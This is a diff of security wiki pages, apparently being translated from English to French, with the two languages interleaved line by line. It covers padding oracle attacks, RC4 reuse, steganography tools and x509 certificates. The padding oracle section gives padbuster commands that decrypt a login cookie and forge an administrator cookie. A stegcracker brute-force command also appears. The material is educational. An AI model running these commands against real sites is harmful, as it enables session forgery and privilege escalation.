![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Notice how it's needed to use an **encryption** **key** and an **IV**.
Remarquez qu'il est nécessaire d'utiliser une **clé de chiffrement** et un **IV**.
## Message Padding
## Remplissage de Message
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
Comme le chiffrement est effectué en **blocs** de **taille** **fixe**, un **remplissage** est généralement nécessaire dans le **dernier** **bloc** pour compléter sa longueur.\
Généralement, **PKCS7** est utilisé, ce qui génère un remplissage **répétant** le **nombre** de **bytes** **nécessaires** pour **compléter** le bloc. Par exemple, si le dernier bloc manque de 3 bytes, le remplissage sera `\x03\x03\x03`.
Let's look at more examples with a **2 blocks of length 8bytes**:
Examinons plus d'exemples avec **2 blocs de longueur 8bytes** :
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Note how in the last example the **last block was full so another one was generated only with padding**.
Notez comment dans le dernier exemple, le **dernier bloc était plein donc un autre a été généré uniquement avec du remplissage**.
## Padding Oracle
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
Lorsqu'une application déchiffre des données chiffrées, elle déchiffre d'abord les données ; puis elle supprime le remplissage. Pendant le nettoyage du remplissage, si un **remplissage invalide déclenche un comportement détectable**, vous avez une **vulnérabilité de padding oracle**. Le comportement détectable peut être une **erreur**, un **manque de résultats**, ou une **réponse plus lente**.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
Si vous détectez ce comportement, vous pouvez **déchiffrer les données chiffrées** et même **chiffrer n'importe quel texte clair**.
### How to exploit
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
### Comment exploiter
Vous pourriez utiliser [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) pour exploiter ce type de vulnérabilité ou juste faire
```
sudo apt-get install padbuster
```
In order to test if the cookie of a site is vulnerable you could try:
Pour tester si le cookie d'un site est vulnérable, vous pourriez essayer :
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**L'encodage 0** signifie que **base64** est utilisé (mais d'autres sont disponibles, consultez le menu d'aide).
**Encoding 0** means that **base64** is used (but others are available, check the help menu).
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
Vous pourriez également **abuser de cette vulnérabilité pour chiffrer de nouvelles données. Par exemple, imaginez que le contenu du cookie est "**_**user=MyUsername**_**", alors vous pouvez le changer en "\_user=administrator\_" et élever les privilèges à l'intérieur de l'application. Vous pourriez également le faire en utilisant `paduster` en spécifiant le paramètre -plaintext** :
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
Si le site est vulnérable, `padbuster` essaiera automatiquement de trouver quand l'erreur de remplissage se produit, mais vous pouvez également indiquer le message d'erreur en utilisant le paramètre **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### La théorie
### The theory
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
En **résumé**, vous pouvez commencer à déchiffrer les données chiffrées en devinant les valeurs correctes qui peuvent être utilisées pour créer tous les **différents remplissages**. Ensuite, l'attaque par oracle de remplissage commencera à déchiffrer les octets de la fin au début en devinant quelle sera la valeur correcte qui **crée un remplissage de 1, 2, 3, etc**.
![](<../images/image (561).png>)
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
Imaginez que vous avez un texte chiffré qui occupe **2 blocs** formés par les octets de **E0 à E15**.\
Pour **déchiffrer** le **dernier** **bloc** (**E8** à **E15**), tout le bloc passe par le "décryptage par bloc" générant les **octets intermédiaires I0 à I15**.\
Enfin, chaque octet intermédiaire est **XORé** avec les octets chiffrés précédents (E0 à E7). Donc :
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
- `C12 = I12 ^ E4`
- ...
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
Maintenant, il est possible de **modifier `E7` jusqu'à ce que `C15` soit `0x01`**, ce qui sera également un remplissage correct. Donc, dans ce cas : `\x01 = I15 ^ E'7`
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
Ainsi, en trouvant E'7, il est **possible de calculer I15** : `I15 = 0x01 ^ E'7`
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Ce qui nous permet de **calculer C15** : `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
Sachant **C15**, il est maintenant possible de **calculer C14**, mais cette fois en forçant le remplissage `\x02\x02`.
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
Ce BF est aussi complexe que le précédent car il est possible de calculer le `E''15` dont la valeur est 0x02 : `E''7 = \x02 ^ I15` donc il suffit de trouver le **`E'14`** qui génère un **`C14` égal à `0x02`**.\
Ensuite, suivez les mêmes étapes pour déchiffrer C14 : **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Follow this chain until you decrypt the whole encrypted text.**
**Suivez cette chaîne jusqu'à ce que vous déchiffriez tout le texte chiffré.**
### Detection of the vulnerability
### Détection de la vulnérabilité
Register and account and log in with this account .\
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
Enregistrez un compte et connectez-vous avec ce compte.\
Si vous **vous connectez plusieurs fois** et obtenez toujours le **même cookie**, il y a probablement **quelque chose** **de mal** dans l'application. Le **cookie renvoyé devrait être unique** chaque fois que vous vous connectez. Si le cookie est **toujours** le **même**, il sera probablement toujours valide et il **n'y aura aucun moyen de l'invalider**.
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
Maintenant, si vous essayez de **modifier** le **cookie**, vous pouvez voir que vous obtenez une **erreur** de l'application.\
Mais si vous BF le remplissage (en utilisant padbuster par exemple), vous parvenez à obtenir un autre cookie valide pour un utilisateur différent. Ce scénario est très probablement vulnérable à padbuster.
### References
### Références
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
{{#include ../banners/hacktricks-training.md}}
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
Si vous pouvez d'une manière ou d'une autre chiffrer un texte en clair en utilisant RC4, vous pouvez déchiffrer tout contenu chiffré par ce RC4 (en utilisant le même mot de passe) simplement en utilisant la fonction de chiffrement.
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
Si vous pouvez chiffrer un texte en clair connu, vous pouvez également extraire le mot de passe. Plus de références peuvent être trouvées dans la machine HTB Kryptos :
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}

View File

@ -2,50 +2,41 @@
{{#include ../banners/hacktricks-training.md}}
## **Extracting Data from Files**
## **Extraction de données à partir de fichiers**
### **Binwalk**
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
Un outil pour rechercher des fichiers binaires à la recherche de fichiers et de données cachés intégrés. Il s'installe via `apt` et sa source est disponible sur [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
Récupère des fichiers en fonction de leurs en-têtes et pieds de page, utile pour les images png. Installé via `apt` avec sa source sur [GitHub](https://github.com/korczis/foremost).
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
Aide à visualiser les métadonnées des fichiers, disponible [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
Semblable à exiftool, pour la visualisation des métadonnées. Installable via `apt`, source sur [GitHub](https://github.com/Exiv2/exiv2), et a un [site officiel](http://www.exiv2.org/).
```bash
exiv2 file # Shows the metadata
```
### **Fichier**
### **File**
Identifiez le type de fichier avec lequel vous traitez.
Identify the type of file you're dealing with.
### **Strings**
Extracts readable strings from files, using various encoding settings to filter the output.
### **Chaînes**
Extrait des chaînes lisibles des fichiers, en utilisant divers paramètres d'encodage pour filtrer la sortie.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
```
### **Comparison (cmp)**
Useful for comparing a modified file with its original version found online.
Utile pour comparer un fichier modifié avec sa version originale trouvée en ligne.
```bash
cmp original.jpg stego.jpg -b -l
```
## **Extraction de données cachées dans le texte**
## **Extracting Hidden Data in Text**
### **Données cachées dans les espaces**
### **Hidden Data in Spaces**
Des caractères invisibles dans des espaces apparemment vides peuvent cacher des informations. Pour extraire ces données, visitez [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
## **Extraction de données à partir d'images**
## **Extracting Data from Images**
### **Identifying Image Details with GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
### **Identification des détails d'image avec GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) sert à déterminer les types de fichiers image et à identifier une éventuelle corruption. Exécutez la commande ci-dessous pour inspecter une image :
```bash
./magick identify -verbose stego.jpg
```
To attempt repair on a damaged image, adding a metadata comment might help:
Pour tenter de réparer une image endommagée, ajouter un commentaire dans les métadonnées pourrait aider :
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Steghide pour la dissimulation de données**
### **Steghide for Data Concealment**
Steghide facilite la dissimulation de données dans des fichiers `JPEG, BMP, WAV et AU`, capable d'incorporer et d'extraire des données chiffrées. L'installation est simple en utilisant `apt`, et son [code source est disponible sur GitHub](https://github.com/StefanoDeVuono/steghide).
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
**Commandes :**
**Commands:**
- `steghide info file` révèle si un fichier contient des données cachées.
- `steghide extract -sf file [--passphrase password]` extrait les données cachées, le mot de passe étant optionnel.
- `steghide info file` reveals if a file contains hidden data.
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
Pour l'extraction basée sur le web, visitez [ce site web](https://futureboy.us/stegano/decinput.html).
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
**Bruteforce Attack with Stegcracker:**
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
**Attaque par bruteforce avec Stegcracker :**
- Pour tenter de craquer le mot de passe sur Steghide, utilisez [stegcracker](https://github.com/Paradoxis/StegCracker.git) comme suit :
```bash
stegcracker <file> [<wordlist>]
```
### **zsteg pour les fichiers PNG et BMP**
### **zsteg for PNG and BMP Files**
zsteg se spécialise dans la découverte de données cachées dans les fichiers PNG et BMP. L'installation se fait via `gem install zsteg`, avec sa [source sur GitHub](https://github.com/zed-0xff/zsteg).
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
**Commandes :**
**Commands:**
- `zsteg -a file` applique toutes les méthodes de détection sur un fichier.
- `zsteg -E file` spécifie une charge utile pour l'extraction de données.
- `zsteg -a file` applies all detection methods on a file.
- `zsteg -E file` specifies a payload for data extraction.
### **StegoVeritas et Stegsolve**
### **StegoVeritas and Stegsolve**
**stegoVeritas** vérifie les métadonnées, effectue des transformations d'image et applique le brute forcing LSB parmi d'autres fonctionnalités. Utilisez `stegoveritas.py -h` pour une liste complète des options et `stegoveritas.py stego.jpg` pour exécuter tous les contrôles.
**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks.
**Stegsolve** applique divers filtres de couleur pour révéler des textes ou messages cachés dans les images. Il est disponible sur [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
### **FFT pour la détection de contenu caché**
### **FFT for Hidden Content Detection**
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
Les techniques de Transformée de Fourier Rapide (FFT) peuvent révéler du contenu dissimulé dans les images. Les ressources utiles incluent :
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
- [FFTStegPic sur GitHub](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy for Audio and Image Files**
### **Stegpy pour les fichiers audio et image**
Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy).
Stegpy permet d'incorporer des informations dans des fichiers image et audio, prenant en charge des formats comme PNG, BMP, GIF, WebP et WAV. Il est disponible sur [GitHub](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck for PNG File Analysis**
To analyze PNG files or to validate their authenticity, use:
### **Pngcheck pour l'analyse des fichiers PNG**
Pour analyser les fichiers PNG ou valider leur authenticité, utilisez :
```bash
apt-get install pngcheck
pngcheck stego.png
```
### **Outils supplémentaires pour l'analyse d'images**
### **Additional Tools for Image Analysis**
For further exploration, consider visiting:
Pour une exploration plus approfondie, envisagez de visiter :
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@ -153,66 +133,60 @@ For further exploration, consider visiting:
- [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/)
## **Extracting Data from Audios**
## **Extraction de données à partir d'audios**
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
**La stéganographie audio** offre une méthode unique pour dissimuler des informations dans des fichiers sonores. Différents outils sont utilisés pour intégrer ou récupérer du contenu caché.
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
Steghide est un outil polyvalent conçu pour cacher des données dans des fichiers JPEG, BMP, WAV et AU. Des instructions détaillées sont fournies dans la [documentation des astuces de stéganographie](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
Cet outil est compatible avec une variété de formats, y compris PNG, BMP, GIF, WebP et WAV. Pour plus d'informations, référez-vous à [la section de Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
ffmpeg est crucial pour évaluer l'intégrité des fichiers audio, mettant en évidence des informations détaillées et identifiant toute anomalie.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
WavSteg excelle à dissimuler et extraire des données dans des fichiers WAV en utilisant la stratégie du bit de poids faible. Il est accessible sur [GitHub](https://github.com/ragibson/Steganography#WavSteg). Les commandes incluent :
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
Deepsound permet le chiffrement et la détection d'informations dans des fichiers audio en utilisant AES-256. Il peut être téléchargé depuis [la page officielle](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer**
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
Un outil inestimable pour l'inspection visuelle et analytique des fichiers audio, Sonic Visualizer peut révéler des éléments cachés indétectables par d'autres moyens. Visitez le [site officiel](https://www.sonicvisualiser.org/) pour en savoir plus.
### **DTMF Tones - Dial Tones**
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
La détection des tons DTMF dans des fichiers audio peut être réalisée grâce à des outils en ligne tels que [ce détecteur DTMF](https://unframework.github.io/dtmf-detect/) et [DialABC](http://dialabc.com/sound/detect/index.html).
## **Other Techniques**
### **Binary Length SQRT - QR Code**
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
Les données binaires qui se carrent pour donner un nombre entier pourraient représenter un code QR. Utilisez ce snippet pour vérifier :
```python
import math
math.sqrt(2500) #50
```
Pour la conversion binaire en image, consultez [dcode](https://www.dcode.fr/binary-image). Pour lire les codes QR, utilisez [ce lecteur de codes-barres en ligne](https://online-barcode-reader.inliteresearch.com/).
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
### **Traduction en Braille**
### **Braille Translation**
Pour traduire le Braille, le [Branah Braille Translator](https://www.branah.com/braille-translator) est une excellente ressource.
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
## **References**
## **Références**
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)

View File

@ -1,47 +1,38 @@
# Certificates
# Certificats
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Qu'est-ce qu'un certificat
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Un **certificat de clé publique** est une ID numérique utilisée en cryptographie pour prouver qu'une personne possède une clé publique. Il inclut les détails de la clé, l'identité du propriétaire (le sujet) et une signature numérique d'une autorité de confiance (l'émetteur). Si le logiciel fait confiance à l'émetteur et que la signature est valide, une communication sécurisée avec le propriétaire de la clé est possible.
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Les certificats sont principalement émis par des [autorités de certification](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) dans une [infrastructure à clé publique](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Une autre méthode est le [web de confiance](https://en.wikipedia.org/wiki/Web_of_trust), où les utilisateurs vérifient directement les clés des autres. Le format commun pour les certificats est [X.509](https://en.wikipedia.org/wiki/X.509), qui peut être adapté à des besoins spécifiques comme indiqué dans le RFC 5280.
## What is a Certificate
## Champs communs x509
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
### **Champs communs dans les certificats x509**
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
Dans les certificats x509, plusieurs **champs** jouent des rôles critiques pour garantir la validité et la sécurité du certificat. Voici un aperçu de ces champs :
## x509 Common Fields
- **Numéro de version** signifie la version du format x509.
- **Numéro de série** identifie de manière unique le certificat au sein du système d'une Autorité de Certification (CA), principalement pour le suivi des révocations.
- Le champ **Sujet** représente le propriétaire du certificat, qui peut être une machine, un individu ou une organisation. Il inclut une identification détaillée telle que :
- **Nom commun (CN)** : Domaines couverts par le certificat.
- **Pays (C)**, **Localité (L)**, **État ou Province (ST, S, ou P)**, **Organisation (O)**, et **Unité organisationnelle (OU)** fournissent des détails géographiques et organisationnels.
- **Nom distinctif (DN)** encapsule l'identification complète du sujet.
- **Émetteur** détaille qui a vérifié et signé le certificat, y compris des sous-champs similaires à ceux du Sujet pour la CA.
- La **période de validité** est marquée par les horodatages **Non avant** et **Non après**, garantissant que le certificat n'est pas utilisé avant ou après une certaine date.
- La section **Clé publique**, cruciale pour la sécurité du certificat, spécifie l'algorithme, la taille et d'autres détails techniques de la clé publique.
- Les **extensions x509v3** améliorent la fonctionnalité du certificat, spécifiant **Utilisation de la clé**, **Utilisation de clé étendue**, **Nom alternatif du sujet**, et d'autres propriétés pour affiner l'application du certificat.
### **Common Fields in x509 Certificates**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
#### **Utilisation de la clé et extensions**
- **Utilisation de la clé** identifie les applications cryptographiques de la clé publique, comme la signature numérique ou le chiffrement de clé.
- **Utilisation de clé étendue** précise davantage les cas d'utilisation du certificat, par exemple, pour l'authentification de serveur TLS.
- **Nom alternatif du sujet** et **Contrainte de base** définissent des noms d'hôtes supplémentaires couverts par le certificat et s'il s'agit d'un certificat CA ou d'entité finale, respectivement.
- Des identifiants comme **Identifiant de clé du sujet** et **Identifiant de clé d'autorité** garantissent l'unicité et la traçabilité des clés.
- **Accès à l'information d'autorité** et **Points de distribution CRL** fournissent des chemins pour vérifier la CA émettrice et vérifier l'état de révocation du certificat.
- Les **SCTs de pré-certificat CT** offrent des journaux de transparence, cruciaux pour la confiance publique dans le certificat.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@ -63,133 +54,104 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Différence entre OCSP et points de distribution CRL**
### **Difference between OCSP and CRL Distribution Points**
**OCSP** (**RFC 2560**) implique qu'un client et un répondant travaillent ensemble pour vérifier si un certificat de clé publique numérique a été révoqué, sans avoir besoin de télécharger la **CRL** complète. Cette méthode est plus efficace que la **CRL** traditionnelle, qui fournit une liste de numéros de série de certificats révoqués mais nécessite le téléchargement d'un fichier potentiellement volumineux. Les CRL peuvent inclure jusqu'à 512 entrées. Plus de détails sont disponibles [ici](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **Qu'est-ce que la transparence des certificats**
### **What is Certificate Transparency**
La transparence des certificats aide à lutter contre les menaces liées aux certificats en garantissant que l'émission et l'existence des certificats SSL sont visibles pour les propriétaires de domaine, les CA et les utilisateurs. Ses objectifs sont :
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
- Empêcher les CA d'émettre des certificats SSL pour un domaine sans la connaissance du propriétaire du domaine.
- Établir un système d'audit ouvert pour suivre les certificats émis par erreur ou de manière malveillante.
- Protéger les utilisateurs contre les certificats frauduleux.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Journaux de certificats**
#### **Certificate Logs**
Les journaux de certificats sont des enregistrements audités publiquement, en mode ajout uniquement, de certificats, maintenus par des services réseau. Ces journaux fournissent des preuves cryptographiques à des fins d'audit. Les autorités d'émission et le public peuvent soumettre des certificats à ces journaux ou les interroger pour vérification. Bien que le nombre exact de serveurs de journaux ne soit pas fixe, on s'attend à ce qu'il soit inférieur à mille dans le monde. Ces serveurs peuvent être gérés indépendamment par des CA, des FAI ou toute entité intéressée.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
#### **Interrogation**
#### **Query**
